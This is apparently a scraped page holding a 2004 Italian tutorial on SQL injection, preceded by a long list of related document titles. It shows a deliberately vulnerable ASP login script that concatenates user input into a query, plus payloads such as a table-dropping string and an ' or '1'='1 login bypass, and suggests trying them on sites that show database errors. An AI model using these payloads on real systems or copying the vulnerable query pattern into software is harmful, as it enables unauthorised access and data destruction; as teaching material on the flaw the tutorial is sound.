Sicurezza Informatica: Tecniche di SQL INJECTION



Похожие документы
MySQL Database Management System

[1] Cross Site Scripting [2] Remote / Local File Inclusion [3] SQL Injection

Corso di Sicurezza Informatica. Sicurezza del software. Ing. Gianluca Caminiti

MySQL Database Management System

Data Base. Master "Bio Info" Reti e Basi di Dati Lezione 6

RELAZIONE SCRITTA RELATIVA AL PROGRAMMA DI GESTIONE SITO E-COMMERCE

ESEMPI DI QUERY SQL. Esempi di Query SQL Michele Batocchi AS 2012/2013 Pagina 1 di 7

PHP e MySQL. Scripting server-side per accesso a DB MySQL

Cookie e Webstorage. Vediamo ora i metodi dell oggetto localstorage. Per memorizzare un valore si utilizza il metodo setitem:

Introduzione ai Sistemi di Gestione di Basi di Dati XML

LEGGERE E VISUALIZZARE I DATI DI UNA TABELLA IN UNA PAGINA WEB

ACTIVE SERVICE PAGES E DATABASE: tecnologia ADO

1) Il client(browser utilizzato) invia al server i dati inseriti dall utente. Server

Interazione con l utente : i moduli.

Le query. Lezione 6 a cura di Maria Novella Mosciatti

Data Base in Internet

GERARCHIE RICORSIVE - SQL SERVER 2008

Corso di Informatica. Prerequisiti. Modulo T3 B3 Programmazione lato server. Architettura client/server Conoscenze generali sui database

Accesso a basi di dati con ASP. Algoritmo per visualizzare un DB

Corso di Informatica Modulo T3 B2 - Database in rete

Esercitazione query in SQL L esercitazione viene effettuata sul database viaggi e vacanze che prevede il seguente modello E/R:

SQL Injection The dark side of webapplication *** Siamo davvero certi che chi gestisce i nostri dati sensibili lo faccia in modo sicuro?

Concetti base di sicurezza applicativa web. Massimo Carnevali Responsabile Esercizio dei Sistemi Informativi Comune di Bologna

GESTIONE DI MDB in WEB

Dispensa di database Access

Laboratorio Progettazione Web PHP e FORMs HTML. Andrea Marchetti IIT-CNR andrea.marchetti@iit.cnr.ita 2013/2014

ACTIVE SERVICE PAGES E DATABASE: tecnologia ADO

Corso sul linguaggio SQL

Gestione Orario Lezioni: Schema del Database

La gestione documentale con il programma Filenet ed il suo utilizzo tramite la tecnologia.net. di Emanuele Mattei (emanuele.mattei[at] .

Laboratorio di Basi di Dati e Web

Basi di dati. Il Linguaggio SQL. K. Donno - Il Linguaggio SQL

Approfondimenti. Il controllo di SQL Injection nelle pagine ASP e ASP.NET. U.A. 5 - Database in rete con le pagine ASP e ASP.

Il linguaggio SQL. è di fatto lo standard tra i linguaggi per la gestione di data base relazionali.

ESEMPI DI FORM (da

Access. P a r t e p r i m a

19. LA PROGRAMMAZIONE LATO SERVER

Il linguaggio HTML - Parte 3

Corso di PHP. Prerequisiti. 6.1 PHP e il web 1. Conoscenza HTML Tecnica della programmazione Principi di programmazione web

04/05/2011. Lezione 6: Form

Le Basi di Dati. Le Basi di Dati

Lavorare con MySQL Parte Seconda.

PHP E MYSQL CREAZIONE DI UN NUOVO DATABASE DAL PHPMYADMIN

MySQL Command Line Client: operazioni fondamentali

Applicazione ASP di esempio

BASI DI DATI Cos è il PHP. Cos è il PHP. Esercitazione su PHP & MySQL

Istruzioni SQL 1. Query di selezione 2 Istruzione SELECT 2 Istruzione SELECT DISTINCT 2 ORDER BY 3 WHERE 3 La condizione LIKE 4 BETWEEN AND 5

RELAZIONE PROGETTO DATABASE GESTIONE BIBLIOTECA PERSONALE

Laboratorio di Tecnologie Web Laurea in Scienze e Tecnologie Multimediali

La tecnologia ASP.NET e i database

DATABASE.

Corso Sistemi Informativi Avanzati. Programma 30 set Installazione Macchina Virtuale. Introduzione alla BI nelle Aziende.

ESERCITAZIONE Semplice creazione di un sito Internet

DURANTE LA NAVIGAZIONE NEI SITI WEB I VISITATORI NON SOLO POSSONO CONSULTARE INFORMAZIONI STATICHE

Esercizio data base "Biblioteca"

Database Lezione 1. Sommario. - Introduzione - Tabelle e chiave primaria - Query - Calcoli ed alias - Ordinamento

Appunti di MySql. Evoluzione di un tutorial di base di mysql, scritto da Etel Sverdlov.

Esercitazione PAM. (Php Apache MySQL)

Sistemi per la gestione di database: MySQL ( )

Dexma Newsletter System

Sviluppata da: Lo Russo - Porcelli Pag. 1 di 6 6FRSR utilizzare il DBMS Postgresql per imparare il linguaggio SQL.

Amministrare MySQL con PhpMyAdmin

Uso delle basi di dati DBMS. Cos è un database. DataBase. Esempi di database

Concetti fondamentali dei database database Cos'è un database Principali database

Guida rapida per i docenti all'uso della piattaforma di e-learning dell'istituto Giua

SOSEBI PAPERMAP2 MODULO WEB MANUALE DELL UTENTE

Remote SQL Command Execution

Guida all attivazione ipase

Corso di Informatica Modulo T3 B1 Programmazione web

Architettura a tre livelli (1)

Laboratorio Progettazione Web PHP e MySQL - Lezione 9. Andrea Marchetti IIT-CNR andrea.marchetti@iit.cnr.ita 2011/2012

DBMS (Data Base Management System)

Dati relazionali e XML

Presentazione Data Base

File, Modifica, Visualizza, Strumenti, Messaggio

Lezione III: Oggetti ASP e interazione tramite form HTML

DBMS. Esempi di database. DataBase. Alcuni esempi di DBMS DBMS. (DataBase Management System)

Informatica per le discipline umanistiche 2 lezione 10

OSSIF WEB. Manuale query builder

PHP 5. PHP ed i database. Database e tabelle. Struttura di un DB relazionale. Accesso a database

Guida all uso del sito web dell Istituto M. Pira di Siniscola

MICHELANGELO Piattaforma autorizzativa per la gestione di interventi riservata ai fornitori

Nozioni di base sull utilizzo di PHP e di MySQL

1 Gestione dell utente connesso in sessione con Java Server Pages, Java Beans, Servlet

MUSEO&WEB. un area riservata (OTEBAC) Roma, 15 giugno 2010

MDAC. Attualmente la versione disponibile di MDAC è la 2.8 ma faremo riferimento alla 2.6. ADO Active Data Objects ADO OLE DB ODBC

GESGOLF SMS ONLINE. Manuale per l utente

SIMPLY JOB. Progetto per il corso di Programmazione III e Laboratorio A.A Realizzato da: Massimo Buonocore

Capitolo 13. Interrogare una base di dati

A. Lorenzi Pagine ASP

Laboratorio di Basi di Dati

GRUPPO DOMANDE N. 1. Quesito n. 1 Descrivere sinteticamente le finalità e le modalità d uso dei seguenti comandi UNIX / LINUX: LS, KILL, PS.

Транскрипт:

Sicurezza Informatica: Tecniche di SQL INJECTION Pietro Bongli Aprile 2004 N.B. L'informazione contenuta in queste pagine è divulgata per scopi puramente didattici e non per ni illegali. Structured Query Language (SQL) è il linguaggio usato per interagire con i database relazionali. Un'istruzione può interrogare il database, modicarne il contenuto e cambiare la struttura. In questo articolo parleremo principalmente di Transact- SQL, linguaggio usato da Microsoft SQL Server, ma le tecniche esposte possono essere applicate a qualunque variante del linguaggio con semplici modiche. La tecnica detta SQL Injection consiste nell'inserire istruzioni SQL, vedremo poi come, in modo da poter accedere al database anche quando non si ha l'autorizzazione. Una tipica istruzione SQL può essere: select id, nome, cognome from utenti Questa istruzione da in uscita tutte le righe della tabella 'utenti' relativa alle colonne 'id', 'nome', 'cognome'. L'insieme di elementi in uscita può essere ristretto utilizzando: select id, nome, cognome, from utenti \ where nome='mario' and cognome='rossi' Il punto fondamentale da notare è che le stringhe 'mario' e 'rossi' sono delimitate dall'apice singolo. Supponendo che i campi 'nome' e 'cognome' siano inseriti dall'utente, l'attacco può essere portato in questa maniere. nome: ma'rio cognome: rossi L'istruzione diventa select id, nome, cognome from utenti \ where nome='ma'rio' and cognome='rossi' Quando si cerca di eseguire questa istruzione viene generato il seguente messaggio di errore. 1

Line 1: Incorrect syntax nera rio' Questo perchè l'inserimento dell'apice da parte dell'utente termina la stringa nome e quello che viene dopo è considerato istruzione. Inserendo, ad esempio: nome: xy '; drop table utenti-- cognome: La tabella utenti verrà cancellata per motivi che saranno più chiari in seguito. Questo tecnica può essere applicata con notevoli risultati ogni volta che si incontra una vulnerabilità in siti che richiedono login e password. Iniziamo con il vedere il codice HTML di una pagina di login che abbia accesso ad un database tramite SQL. This is the code for the 'form' page, into which the user types a username and password: <HTML> <HEAD> <TITLE>Login Page</TITLE> </HEAD> <BODY bgcolor='000000' text='cccccc'> <FONT Face='tahoma' color='cccccc'> <CENTER><H1>Login</H1> <FORM action='processlogin.asp' method=post> <TABLE> <TR><TD>Username:</TD><TD><INPUT type=text name=username size=100 Page 4 Page 5 width=100></input></td></tr> <TR><TD>Password:</TD><TD><INPUT type=password name=password size=100 width=100></input></td></tr> </TABLE> <INPUT type=submit value='submit'> <INPUT type=reset value='reset'> </FORM> </FONT> </BODY> </HTML> This is the code for 'processlogin.asp', which handles the actual login: <HTML> <BODY bgcolor='000000' text='ffffff'> <FONT Face='tahoma' color='ffffff'> <STYLE> p font-size=20pt! important 2

font font-size=20pt! important h1 font-size=64pt! important </STYLE> <script language=''javascript''> function trace( str ) if( Request.form("debug") == "true" ) Response.write(str); function Login( cn ) var username; var password; username = Request.form("username"); password = Request.form("password"); var rso = Server.CreateObject("ADODB.Recordset"); var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql ); rso.open( sql, cn ); if (rso.eof) rso.close(); <FONT Face='tahoma' color='cc0000'> <H1> <BR><BR> <CENTER>ACCESS DENIED</CENTER> </H1> </BODY> </HTML> Response.end return; else Session("username") = "" + rso("username"); <FONT Face='tahoma' color='00cc00'> <H1> <CENTER>ACCESS 3

GRANTED<BR> <BR> Welcome, < Response.write(rso("Username")); Response.write("</BODY></HTML>"); Response.end function Main() var username var cn = Server.createobject( "ADODB.Connection" ); cn.connectiontimeout = 20; cn.open( "localserver", "sa", "password" ); username = new String( Request.form("username") ); if( username.length > 0) Login(cn); cn.close(); Main(); Il punto critico è la parte del 'processlogin.asp' che crea la 'query string': var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; Se l'utente inserisce USERNAME: ' ;drop table users -- PASSWORD: la tabella viene cancellata, questo perchè l'apice termina la stringa username, il ';' denota la ne di una istruzione e l'inizio della successiva e il '' serve per far terminare questa particolare istruzione senza errori. Vediamo un possibile uso più utile di questa tecnica. Supponiamo di imbatterci in un sito che ci chieda login e password, inseriamo allora: login: 'a password: 'a Se si ottiene in risposta: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 4

o errori simili signica che il sito ore una vulnerabilità. A questo punto possiamo tentare una injection; abbiamo bisogno di una login reale, spesso si può tentare con nomi comuni o simili, ad esempio rossi. Inseriamo dunque: login: rossi password: ' or '1'='1 L'istruzione SQL corrispondente diventa simile a: select*from users where login='rossi' and password=' ' or '1'='1' ; Quindi l'accesso all'account 'rossi' viene autorizzato se la password è ' ' oppure se '1'='1'. Chiaramente questa tecnica ore possibilità molto più ampie che verranno trattate nelle prossime pubblicazioni. 5